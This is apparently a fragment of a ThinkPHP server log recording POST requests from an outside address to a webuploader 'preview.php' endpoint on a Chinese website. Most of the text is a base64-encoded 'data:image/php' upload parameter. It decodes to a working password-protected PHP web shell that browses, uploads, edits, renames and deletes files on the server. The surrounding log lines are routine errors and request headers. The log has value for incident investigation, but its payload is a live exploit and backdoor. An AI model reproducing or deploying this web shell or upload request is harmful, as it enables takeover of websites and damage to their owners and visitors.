cmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'webuploader' => '0.1.15', 'server' => 'preview.php', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-22T04:29:07+08:00 ] 119.42.146.234 POST 51tianwei.com/manage/assets/lib/webuploader/0.1.15/server/preview.php [运行时间:0.002707s] [吞吐率:369.41req/s] [内存消耗:196.72kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'manage', 2 => 'assets', ), ) [ info ] [ HEADER ] array ( 'host' => '51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsn